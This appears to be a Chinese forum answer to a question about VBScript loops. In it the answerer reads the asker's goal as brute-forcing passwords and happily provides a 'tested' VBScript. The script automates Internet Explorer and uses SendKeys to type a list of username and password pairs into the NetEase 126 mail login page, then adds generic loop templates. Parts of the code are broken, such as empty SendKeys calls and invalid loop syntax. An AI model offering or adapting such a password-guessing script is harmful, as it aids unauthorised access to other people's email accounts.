vbs循环问题

breakan的是关闭所有的ie窗口 而不是当前 看样子你好像是想穷举破解密码是吧~ 呵呵 帮你改了下 尽管这种方法不太好 但是应该比你原来的要好的多 而且肯定达到了你原本的目的.......o(∩_∩)o... 代码如下(已经通过测试~)：

Set a=CreateObject("WScript.shell")

login "username1","password1" '改为要穷举的第一个用户名,密码
login "username2","password2" '改为要穷举的第二个用户名,密码，下同
login "username3","password3"
login "username4","password4"

sub login(usernames,passwords)
WScript.Sleep 2000
a.run "iexplore.exe "
WScript.Sleep 3000
a.AppActivate"网易126免费邮箱"
a.SendKeys usernames
a.SendKeys ""
WScript.Sleep 1000
a.SendKeys passwords
a.SendKeys ""
WScript.Sleep 500
a.AppActivate"网易126免费邮箱" '激活当前窗口 很重要!
wscript.sleep 100
a.sendkeys"%" '自动关闭
end sub

'计次循环方法
for i=0 to 10
'这里加入要循环的代码
next i
'-
'无限循环
do
loop
'-
'条件循环
do while (条件表达式)
'代码
loop